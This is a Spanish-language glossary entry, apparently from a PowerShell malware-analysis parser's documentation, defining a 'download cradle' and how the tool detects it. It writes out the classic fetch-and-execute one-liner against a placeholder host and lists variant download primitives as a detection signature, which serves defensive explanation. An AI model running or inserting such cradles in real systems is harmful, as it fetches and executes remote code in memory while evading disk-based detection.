Glosario
Download cradle
Un breve fragmento de PowerShell que descarga código desde una URL remota y lo ejecuta en memoria, sin escribir ningún archivo en el disco.
Un download cradle es una línea de comando que obtiene un script remoto y lo ejecuta en memoria, evitando dejar un archivo en el disco. La forma clásica es IEX (New-Object Net.WebClient).DownloadString('http://host/a.ps1'), pero existen muchas variantes que usan Invoke-WebRequest/iwr, Invoke-RestMethod/irm, Start-BitsTransfer, Net.Http.HttpClient u objetos COM como MSXML2.XMLHTTP.
La firma es una primitiva de descarga combinada con una primitiva de ejecución como Invoke-Expression. Este parser señala esa combinación y extrae la URL y cualquier IP como cadenas inertes. Consulte decodificación y hallazgos.